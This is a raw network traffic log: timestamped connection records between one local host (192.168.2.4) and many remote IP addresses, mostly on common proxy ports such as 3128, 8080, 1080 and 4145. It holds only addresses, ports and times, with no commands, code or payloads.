Feb 23, 2024 09:45:16.317105055 CET	50490	4153	192.168.2.4	45.233.2.1
Feb 23, 2024 09:45:16.318608999 CET	50020	48024	192.168.2.4	181.113.34.86
Feb 23, 2024 09:45:16.318618059 CET	50110	29129	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:16.318641901 CET	49851	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:16.318645000 CET	49850	26777	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:16.318653107 CET	49854	5678	192.168.2.4	110.78.164.224
Feb 23, 2024 09:45:16.318653107 CET	49865	5678	192.168.2.4	80.54.62.254
Feb 23, 2024 09:45:16.318653107 CET	50057	4145	192.168.2.4	107.181.168.145
Feb 23, 2024 09:45:16.318653107 CET	49858	80	192.168.2.4	8.217.118.156
Feb 23, 2024 09:45:16.318721056 CET	49857	8080	192.168.2.4	79.174.188.153
Feb 23, 2024 09:45:16.318721056 CET	49862	37379	192.168.2.4	167.86.102.169
Feb 23, 2024 09:45:16.320559025 CET	80	49749	96.113.159.162	192.168.2.4
Feb 23, 2024 09:45:16.321501970 CET	8082	49996	150.107.136.110	192.168.2.4
Feb 23, 2024 09:45:16.321517944 CET	8083	50024	185.132.242.212	192.168.2.4
Feb 23, 2024 09:45:16.322128057 CET	8082	49996	150.107.136.110	192.168.2.4
Feb 23, 2024 09:45:16.322190046 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:16.322474003 CET	80	50331	211.222.252.187	192.168.2.4
Feb 23, 2024 09:45:16.322539091 CET	50331	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.322741985 CET	50331	80	192.168.2.4	211.222.252.187
Feb 23, 2024 09:45:16.322882891 CET	8082	49996	150.107.136.110	192.168.2.4
Feb 23, 2024 09:45:16.322936058 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:16.323071003 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:16.324562073 CET	80	50327	104.16.25.216	192.168.2.4
Feb 23, 2024 09:45:16.326791048 CET	3128	50134	3.122.84.99	192.168.2.4
Feb 23, 2024 09:45:16.328043938 CET	80	50400	185.162.228.128	192.168.2.4
Feb 23, 2024 09:45:16.328044891 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:16.328059912 CET	80	50400	185.162.228.128	192.168.2.4
Feb 23, 2024 09:45:16.329170942 CET	8123	50430	20.111.54.16	192.168.2.4
Feb 23, 2024 09:45:16.329231024 CET	50430	8123	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.329293013 CET	80	50400	185.162.228.128	192.168.2.4
Feb 23, 2024 09:45:16.329344034 CET	50400	80	192.168.2.4	185.162.228.128
Feb 23, 2024 09:45:16.333321095 CET	80	50408	185.162.228.154	192.168.2.4
Feb 23, 2024 09:45:16.333352089 CET	80	50408	185.162.228.154	192.168.2.4
Feb 23, 2024 09:45:16.333648920 CET	80	50408	185.162.228.154	192.168.2.4
Feb 23, 2024 09:45:16.333770037 CET	26589	50440	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.333767891 CET	50408	80	192.168.2.4	185.162.228.154
Feb 23, 2024 09:45:16.333882093 CET	50440	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.334240913 CET	49859	80	192.168.2.4	146.59.243.214
Feb 23, 2024 09:45:16.334240913 CET	50061	80	192.168.2.4	50.172.75.120
Feb 23, 2024 09:45:16.334264994 CET	50125	22093	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.334264994 CET	50127	20627	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.334269047 CET	50022	52246	192.168.2.4	45.7.177.85
Feb 23, 2024 09:45:16.334270000 CET	50056	8080	192.168.2.4	5.78.89.192
Feb 23, 2024 09:45:16.334269047 CET	49860	19050	192.168.2.4	51.83.190.248
Feb 23, 2024 09:45:16.334275007 CET	49867	83	192.168.2.4	45.119.113.62
Feb 23, 2024 09:45:16.334289074 CET	49863	8080	192.168.2.4	101.255.166.2
Feb 23, 2024 09:45:16.334290028 CET	49880	8080	192.168.2.4	103.163.80.14
Feb 23, 2024 09:45:16.334294081 CET	49986	3128	192.168.2.4	78.38.93.22
Feb 23, 2024 09:45:16.334368944 CET	49778	8000	192.168.2.4	137.184.15.145
Feb 23, 2024 09:45:16.335616112 CET	6441	50046	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.337250948 CET	50415	50329	148.72.212.252	192.168.2.4
Feb 23, 2024 09:45:16.338201046 CET	3128	50325	167.71.5.83	192.168.2.4
Feb 23, 2024 09:45:16.339483976 CET	11673	49813	50.63.13.3	192.168.2.4
Feb 23, 2024 09:45:16.340415001 CET	50440	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.340464115 CET	80	50449	104.19.85.214	192.168.2.4
Feb 23, 2024 09:45:16.340538025 CET	50449	80	192.168.2.4	104.19.85.214
Feb 23, 2024 09:45:16.340914011 CET	50408	80	192.168.2.4	185.162.228.154
Feb 23, 2024 09:45:16.341471910 CET	80	50348	45.12.31.3	192.168.2.4
Feb 23, 2024 09:45:16.342048883 CET	4145	50450	72.210.252.137	192.168.2.4
Feb 23, 2024 09:45:16.342106104 CET	50450	4145	192.168.2.4	72.210.252.137
Feb 23, 2024 09:45:16.342904091 CET	50449	80	192.168.2.4	104.19.85.214
Feb 23, 2024 09:45:16.343105078 CET	50430	8123	192.168.2.4	20.111.54.16
Feb 23, 2024 09:45:16.343918085 CET	50400	80	192.168.2.4	185.162.228.128
Feb 23, 2024 09:45:16.344086885 CET	80	50369	203.30.189.103	192.168.2.4
Feb 23, 2024 09:45:16.347788095 CET	80	50372	172.67.250.212	192.168.2.4
Feb 23, 2024 09:45:16.348104000 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:16.348443031 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.348460913 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.348491907 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.348507881 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.348545074 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.348578930 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.349853992 CET	49873	1976	192.168.2.4	41.65.55.10
Feb 23, 2024 09:45:16.349865913 CET	50068	29430	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:16.349868059 CET	49876	49401	192.168.2.4	162.241.46.40
Feb 23, 2024 09:45:16.349875927 CET	49875	1080	192.168.2.4	94.131.107.45
Feb 23, 2024 09:45:16.349903107 CET	49871	3128	192.168.2.4	45.159.150.23
Feb 23, 2024 09:45:16.349905014 CET	49886	47016	192.168.2.4	37.187.143.172
Feb 23, 2024 09:45:16.349906921 CET	49883	80	192.168.2.4	52.191.208.232
Feb 23, 2024 09:45:16.349906921 CET	49887	31683	192.168.2.4	198.57.195.42
Feb 23, 2024 09:45:16.349910021 CET	50139	27917	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:16.350043058 CET	50142	8000	192.168.2.4	137.184.22.92
Feb 23, 2024 09:45:16.350877047 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.350945950 CET	8635	50052	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.351073980 CET	27645	50055	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.351246119 CET	16703	50059	72.10.160.93	192.168.2.4
Feb 23, 2024 09:45:16.351696014 CET	18681	49765	67.43.228.250	192.168.2.4
Feb 23, 2024 09:45:16.352193117 CET	50491	31147	192.168.2.4	209.121.164.50
Feb 23, 2024 09:45:16.353677034 CET	50492	5678	192.168.2.4	212.89.173.101
Feb 23, 2024 09:45:16.354963064 CET	50493	8080	192.168.2.4	66.27.58.70
Feb 23, 2024 09:45:16.356265068 CET	50494	8080	192.168.2.4	103.165.222.190
Feb 23, 2024 09:45:16.357414961 CET	50495	80	192.168.2.4	62.72.29.174
Feb 23, 2024 09:45:16.357527971 CET	3128	50202	37.156.28.43	192.168.2.4
Feb 23, 2024 09:45:16.358031988 CET	80	50464	172.67.200.220	192.168.2.4
Feb 23, 2024 09:45:16.358098984 CET	50464	80	192.168.2.4	172.67.200.220
Feb 23, 2024 09:45:16.358428955 CET	50464	80	192.168.2.4	172.67.200.220
Feb 23, 2024 09:45:16.358603954 CET	80	50465	185.162.229.70	192.168.2.4
Feb 23, 2024 09:45:16.358668089 CET	50465	80	192.168.2.4	185.162.229.70
Feb 23, 2024 09:45:16.358818054 CET	50465	80	192.168.2.4	185.162.229.70
Feb 23, 2024 09:45:16.359505892 CET	50496	50578	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:16.360610962 CET	50497	80	192.168.2.4	64.227.106.157
Feb 23, 2024 09:45:16.361207962 CET	2191	50460	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.361224890 CET	4145	50321	134.236.118.74	192.168.2.4
Feb 23, 2024 09:45:16.362040997 CET	50498	4153	192.168.2.4	45.115.115.42
Feb 23, 2024 09:45:16.363260031 CET	3128	50164	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.363275051 CET	3128	50164	65.21.255.197	192.168.2.4
Feb 23, 2024 09:45:16.363326073 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.363768101 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.363939047 CET	10005	50461	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.365006924 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.365242004 CET	50499	10919	192.168.2.4	98.178.72.21
Feb 23, 2024 09:45:16.365494013 CET	49889	51025	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.365499020 CET	49805	3021	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.365499020 CET	49888	58028	192.168.2.4	94.232.11.178
Feb 23, 2024 09:45:16.365509987 CET	49801	12129	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.365509987 CET	49897	60808	192.168.2.4	210.61.216.63
Feb 23, 2024 09:45:16.365513086 CET	49881	9603	192.168.2.4	192.99.37.195
Feb 23, 2024 09:45:16.365514040 CET	49882	32650	192.168.2.4	103.176.116.171
Feb 23, 2024 09:45:16.365516901 CET	49892	5784	192.168.2.4	160.153.245.187
Feb 23, 2024 09:45:16.365514040 CET	49898	32241	192.168.2.4	1.20.137.82
Feb 23, 2024 09:45:16.365531921 CET	49890	42801	192.168.2.4	166.62.87.148
Feb 23, 2024 09:45:16.365531921 CET	49900	8080	192.168.2.4	103.167.69.94
Feb 23, 2024 09:45:16.365542889 CET	49893	56862	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.365542889 CET	49901	7302	192.168.2.4	221.226.109.229
Feb 23, 2024 09:45:16.365542889 CET	49902	4145	192.168.2.4	46.109.146.244
Feb 23, 2024 09:45:16.365550041 CET	49899	32423	192.168.2.4	50.63.12.101
Feb 23, 2024 09:45:16.365567923 CET	49903	80	192.168.2.4	159.89.182.147
Feb 23, 2024 09:45:16.365570068 CET	49904	1080	192.168.2.4	78.40.104.5
Feb 23, 2024 09:45:16.366735935 CET	25053	50069	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.366867065 CET	25341	50071	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.366909981 CET	50501	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.366955996 CET	443	50501	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.367019892 CET	50501	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.367453098 CET	50501	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.367482901 CET	443	50501	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.367530107 CET	443	50501	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.368740082 CET	50502	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.368763924 CET	443	50502	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.369050026 CET	50502	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.369812965 CET	50502	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.369823933 CET	443	50502	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.369856119 CET	443	50502	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.370960951 CET	50503	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.370982885 CET	443	50503	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.371047020 CET	50503	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.371423006 CET	50503	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.371438026 CET	443	50503	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.371469021 CET	443	50503	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.372581959 CET	50504	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.372625113 CET	443	50504	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.372699976 CET	50504	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.372992039 CET	50504	443	192.168.2.4	43.153.64.66
Feb 23, 2024 09:45:16.373011112 CET	443	50504	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.373037100 CET	443	50504	43.153.64.66	192.168.2.4
Feb 23, 2024 09:45:16.373191118 CET	26939	50436	208.87.131.151	192.168.2.4
Feb 23, 2024 09:45:16.373311996 CET	50436	26939	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.375382900 CET	50436	26939	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.379641056 CET	5678	50342	223.25.101.86	192.168.2.4
Feb 23, 2024 09:45:16.381108046 CET	50137	80	192.168.2.4	50.168.163.178
Feb 23, 2024 09:45:16.381119967 CET	50161	12707	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.381386995 CET	50505	8080	192.168.2.4	103.248.120.5
Feb 23, 2024 09:45:16.381558895 CET	33829	50126	103.162.31.91	192.168.2.4
Feb 23, 2024 09:45:16.381644964 CET	20056	49818	103.215.139.32	192.168.2.4
Feb 23, 2024 09:45:16.382380009 CET	9999	50300	171.35.172.147	192.168.2.4
Feb 23, 2024 09:45:16.384072065 CET	80	49735	50.172.227.202	192.168.2.4
Feb 23, 2024 09:45:16.385904074 CET	50506	23847	192.168.2.4	162.144.32.209
Feb 23, 2024 09:45:16.387427092 CET	50507	59932	192.168.2.4	207.180.226.58
Feb 23, 2024 09:45:16.388684034 CET	50508	43209	192.168.2.4	172.93.111.235
Feb 23, 2024 09:45:16.389327049 CET	15673	50432	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.389753103 CET	50509	1080	192.168.2.4	223.113.89.138
Feb 23, 2024 09:45:16.391221046 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:16.392507076 CET	50511	8080	192.168.2.4	71.14.23.121
Feb 23, 2024 09:45:16.396714926 CET	49905	3128	192.168.2.4	104.164.183.187
Feb 23, 2024 09:45:16.396733046 CET	49906	4145	192.168.2.4	45.112.125.58
Feb 23, 2024 09:45:16.396742105 CET	49910	18072	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:16.396744013 CET	49913	7878	192.168.2.4	175.106.10.227
Feb 23, 2024 09:45:16.396742105 CET	49915	3128	192.168.2.4	182.18.140.17
Feb 23, 2024 09:45:16.396744967 CET	49908	999	192.168.2.4	45.225.184.206
Feb 23, 2024 09:45:16.396745920 CET	50121	999	192.168.2.4	45.229.34.174
Feb 23, 2024 09:45:16.396753073 CET	49914	1976	192.168.2.4	41.128.148.78
Feb 23, 2024 09:45:16.396754980 CET	49916	32650	192.168.2.4	41.217.223.145
Feb 23, 2024 09:45:16.396754980 CET	49965	8089	192.168.2.4	117.69.236.86
Feb 23, 2024 09:45:16.396761894 CET	50167	14745	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.396795988 CET	49917	14462	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:16.397056103 CET	49920	8080	192.168.2.4	103.184.54.42
Feb 23, 2024 09:45:16.397058010 CET	49922	3128	192.168.2.4	195.138.90.226
Feb 23, 2024 09:45:16.397100925 CET	49921	80	192.168.2.4	72.52.217.188
Feb 23, 2024 09:45:16.397757053 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:16.397772074 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:16.397787094 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:16.397818089 CET	15673	50432	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.397835970 CET	8080	50337	103.172.1.35	192.168.2.4
Feb 23, 2024 09:45:16.397838116 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:16.397851944 CET	3128	50325	167.71.5.83	192.168.2.4
Feb 23, 2024 09:45:16.397867918 CET	80	50358	203.222.24.36	192.168.2.4
Feb 23, 2024 09:45:16.397927046 CET	50358	80	192.168.2.4	203.222.24.36
Feb 23, 2024 09:45:16.398058891 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:16.401190042 CET	50358	80	192.168.2.4	203.222.24.36
Feb 23, 2024 09:45:16.401318073 CET	50512	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.401567936 CET	20481	50333	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.401937008 CET	50333	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.402194023 CET	50333	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.402966022 CET	80	50438	50.230.222.202	192.168.2.4
Feb 23, 2024 09:45:16.402980089 CET	20481	50333	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.403295040 CET	50513	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.403717041 CET	3128	50325	167.71.5.83	192.168.2.4
Feb 23, 2024 09:45:16.403778076 CET	50325	3128	192.168.2.4	167.71.5.83
Feb 23, 2024 09:45:16.403814077 CET	50325	3128	192.168.2.4	167.71.5.83
Feb 23, 2024 09:45:16.404040098 CET	6745	50286	45.43.71.147	192.168.2.4
Feb 23, 2024 09:45:16.404125929 CET	6745	50286	45.43.71.147	192.168.2.4
Feb 23, 2024 09:45:16.404177904 CET	50286	6745	192.168.2.4	45.43.71.147
Feb 23, 2024 09:45:16.407250881 CET	80	50355	13.229.47.109	192.168.2.4
Feb 23, 2024 09:45:16.407308102 CET	50355	80	192.168.2.4	13.229.47.109
Feb 23, 2024 09:45:16.412349939 CET	49923	41041	192.168.2.4	46.182.6.69
Feb 23, 2024 09:45:16.412353039 CET	50043	3128	192.168.2.4	185.105.230.45
Feb 23, 2024 09:45:16.412364006 CET	49925	8080	192.168.2.4	103.141.109.237
Feb 23, 2024 09:45:16.412364960 CET	49924	3128	192.168.2.4	154.83.11.52
Feb 23, 2024 09:45:16.412377119 CET	49932	21346	192.168.2.4	138.197.92.110
Feb 23, 2024 09:45:16.412377119 CET	49930	80	192.168.2.4	125.141.151.83
Feb 23, 2024 09:45:16.412381887 CET	49931	53672	192.168.2.4	72.167.221.145
Feb 23, 2024 09:45:16.412381887 CET	49934	999	192.168.2.4	45.233.67.226
Feb 23, 2024 09:45:16.413467884 CET	29129	50110	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:16.413594007 CET	39796	50347	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:16.416049004 CET	4145	50410	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.416064024 CET	4145	50410	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:16.416461945 CET	6005	50364	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.416629076 CET	6005	50364	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:16.416764021 CET	50364	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.418025970 CET	50364	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.418625116 CET	50514	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:16.418656111 CET	8089	50350	111.225.153.200	192.168.2.4
Feb 23, 2024 09:45:16.419116020 CET	50286	6745	192.168.2.4	45.43.71.147
Feb 23, 2024 09:45:16.421205044 CET	50355	80	192.168.2.4	13.229.47.109
Feb 23, 2024 09:45:16.421304941 CET	54330	49995	206.189.15.100	192.168.2.4
Feb 23, 2024 09:45:16.422318935 CET	4145	50455	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:16.422389984 CET	50455	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.422636986 CET	50515	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:16.423247099 CET	50455	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:16.423289061 CET	31979	49999	51.77.73.78	192.168.2.4
Feb 23, 2024 09:45:16.423649073 CET	50516	3128	192.168.2.4	154.83.8.59
Feb 23, 2024 09:45:16.425931931 CET	50517	4145	192.168.2.4	24.249.199.12
Feb 23, 2024 09:45:16.426286936 CET	50198	10739	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.426305056 CET	49736	1082	192.168.2.4	181.209.113.234
Feb 23, 2024 09:45:16.426697969 CET	80	50481	50.173.140.145	192.168.2.4
Feb 23, 2024 09:45:16.427975893 CET	50113	80	192.168.2.4	50.204.219.224
Feb 23, 2024 09:45:16.427975893 CET	49938	35196	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:16.427975893 CET	49926	3128	192.168.2.4	104.165.169.83
Feb 23, 2024 09:45:16.427989006 CET	49939	8080	192.168.2.4	103.76.104.30
Feb 23, 2024 09:45:16.427989006 CET	49928	1599	192.168.2.4	161.97.147.193
Feb 23, 2024 09:45:16.427999973 CET	49942	8080	192.168.2.4	192.46.229.111
Feb 23, 2024 09:45:16.427999973 CET	49937	999	192.168.2.4	201.182.251.140
Feb 23, 2024 09:45:16.428050995 CET	49941	49314	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.428082943 CET	49927	80	192.168.2.4	65.21.131.27
Feb 23, 2024 09:45:16.428082943 CET	50112	8080	192.168.2.4	186.192.195.211
Feb 23, 2024 09:45:16.428100109 CET	49936	1080	192.168.2.4	92.247.31.130
Feb 23, 2024 09:45:16.428100109 CET	50076	5678	192.168.2.4	109.127.82.114
Feb 23, 2024 09:45:16.428127050 CET	80	50408	185.162.228.154	192.168.2.4
Feb 23, 2024 09:45:16.428127050 CET	49940	8080	192.168.2.4	185.172.212.233
Feb 23, 2024 09:45:16.429352999 CET	20627	50127	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.429368973 CET	22093	50125	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.429812908 CET	80	50449	104.19.85.214	192.168.2.4
Feb 23, 2024 09:45:16.430437088 CET	80	50449	104.19.85.214	192.168.2.4
Feb 23, 2024 09:45:16.430778027 CET	50449	80	192.168.2.4	104.19.85.214
Feb 23, 2024 09:45:16.431256056 CET	30000	50341	161.97.74.176	192.168.2.4
Feb 23, 2024 09:45:16.431690931 CET	80	50449	104.19.85.214	192.168.2.4
Feb 23, 2024 09:45:16.431849957 CET	80	50400	185.162.228.128	192.168.2.4
Feb 23, 2024 09:45:16.431916952 CET	50449	80	192.168.2.4	104.19.85.214
Feb 23, 2024 09:45:16.432060003 CET	3128	50371	44.226.167.102	192.168.2.4
Feb 23, 2024 09:45:16.434488058 CET	6788	50409	45.43.84.163	192.168.2.4
Feb 23, 2024 09:45:16.435110092 CET	50518	14917	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.437067032 CET	8080	50216	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.437082052 CET	8080	50216	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:16.437146902 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.437774897 CET	8000	50142	137.184.22.92	192.168.2.4
Feb 23, 2024 09:45:16.438147068 CET	80	50143	43.231.22.229	192.168.2.4
Feb 23, 2024 09:45:16.438160896 CET	4145	49935	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:16.438616991 CET	4145	49935	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:16.438801050 CET	80	50143	43.231.22.229	192.168.2.4
Feb 23, 2024 09:45:16.439239025 CET	3128	50000	37.120.222.132	192.168.2.4
Feb 23, 2024 09:45:16.439399004 CET	50143	80	192.168.2.4	43.231.22.229
Feb 23, 2024 09:45:16.442218065 CET	50216	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.442605972 CET	46859	49819	167.86.69.142	192.168.2.4
Feb 23, 2024 09:45:16.442693949 CET	49819	46859	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:16.443068027 CET	49819	46859	192.168.2.4	167.86.69.142
Feb 23, 2024 09:45:16.443612099 CET	50215	23475	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.443664074 CET	50208	6533	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.444632053 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:16.444802046 CET	50520	4145	192.168.2.4	199.102.107.145
Feb 23, 2024 09:45:16.445049047 CET	27917	50139	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:16.445317030 CET	50521	37881	192.168.2.4	107.180.88.41
Feb 23, 2024 09:45:16.446285963 CET	80	50464	172.67.200.220	192.168.2.4
Feb 23, 2024 09:45:16.446367979 CET	80	50464	172.67.200.220	192.168.2.4
Feb 23, 2024 09:45:16.446415901 CET	80	50465	185.162.229.70	192.168.2.4
Feb 23, 2024 09:45:16.446465015 CET	80	50465	185.162.229.70	192.168.2.4
Feb 23, 2024 09:45:16.446880102 CET	50464	80	192.168.2.4	172.67.200.220
Feb 23, 2024 09:45:16.447035074 CET	80	50465	185.162.229.70	192.168.2.4
Feb 23, 2024 09:45:16.447094917 CET	50465	80	192.168.2.4	185.162.229.70
Feb 23, 2024 09:45:16.447132111 CET	80	50026	50.172.75.124	192.168.2.4
Feb 23, 2024 09:45:16.447688103 CET	80	50464	172.67.200.220	192.168.2.4
Feb 23, 2024 09:45:16.447757006 CET	50464	80	192.168.2.4	172.67.200.220
Feb 23, 2024 09:45:16.448426962 CET	50465	80	192.168.2.4	185.162.229.70
Feb 23, 2024 09:45:16.451417923 CET	26589	50440	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:16.451659918 CET	50440	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:16.452825069 CET	50522	80	192.168.2.4	50.218.57.74
Feb 23, 2024 09:45:16.452987909 CET	10919	50499	98.178.72.21	192.168.2.4
Feb 23, 2024 09:45:16.453035116 CET	50499	10919	192.168.2.4	98.178.72.21
Feb 23, 2024 09:45:16.453941107 CET	80	50396	106.14.255.124	192.168.2.4
Feb 23, 2024 09:45:16.454283953 CET	50396	80	192.168.2.4	106.14.255.124
Feb 23, 2024 09:45:16.454449892 CET	50396	80	192.168.2.4	106.14.255.124
Feb 23, 2024 09:45:16.455342054 CET	50523	5678	192.168.2.4	103.112.254.66
Feb 23, 2024 09:45:16.456667900 CET	80	50425	18.135.133.116	192.168.2.4
Feb 23, 2024 09:45:16.457798958 CET	50524	80	192.168.2.4	104.18.136.28
Feb 23, 2024 09:45:16.459227085 CET	8181	49852	188.235.0.207	192.168.2.4
Feb 23, 2024 09:45:16.459259033 CET	49947	8089	192.168.2.4	117.57.93.135
Feb 23, 2024 09:45:16.459261894 CET	49948	12005	192.168.2.4	148.66.130.53
Feb 23, 2024 09:45:16.459261894 CET	49993	5678	192.168.2.4	125.26.22.7
Feb 23, 2024 09:45:16.459263086 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:16.459270000 CET	49949	3503	192.168.2.4	23.225.72.125
Feb 23, 2024 09:45:16.459275007 CET	49950	4145	192.168.2.4	168.227.158.41
Feb 23, 2024 09:45:16.459280968 CET	49951	999	192.168.2.4	190.120.254.233
Feb 23, 2024 09:45:16.459285975 CET	49954	999	192.168.2.4	190.113.40.202
Feb 23, 2024 09:45:16.459291935 CET	50098	80	192.168.2.4	190.58.248.86
Feb 23, 2024 09:45:16.459292889 CET	50165	4145	192.168.2.4	68.71.247.130
Feb 23, 2024 09:45:16.459295034 CET	49952	2941	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.459295988 CET	49955	8080	192.168.2.4	50.193.36.173
Feb 23, 2024 09:45:16.459296942 CET	49953	22035	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:16.459304094 CET	49957	42171	192.168.2.4	158.101.1.100
Feb 23, 2024 09:45:16.460380077 CET	3021	49805	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.460577965 CET	50525	83	192.168.2.4	103.47.175.161
Feb 23, 2024 09:45:16.460674047 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.460690975 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.460741043 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:16.461003065 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.461019993 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:16.461087942 CET	50160	3128	192.168.2.4	185.165.46.208
